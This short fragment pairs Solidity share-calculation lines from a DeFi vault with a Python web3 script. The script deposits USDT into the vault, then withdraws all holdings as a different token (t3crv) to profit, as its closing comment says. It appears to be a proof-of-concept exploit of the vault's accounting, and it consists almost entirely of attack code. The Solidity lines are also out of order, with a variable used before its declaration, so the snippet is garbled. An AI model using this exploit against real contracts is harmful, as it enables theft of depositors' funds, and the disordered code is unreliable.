_shares = _shares.add(_amount);
uint256 _amount = (balance().mul(_shares)).div(totalSupply());
deposit_amount = 100000 * 10**6
user = w3.eth.accounts[0]
get_token(usdt, user, deposit_amount)
usdt.functions.approve(vault.address, deposit_amount).transact()
vault.functions.deposit(usdt.address, deposit_amount).transact()
vault.functions.withdrawAll(t3crv.address).transact()
# user can remove liquiditiy and get the profit.
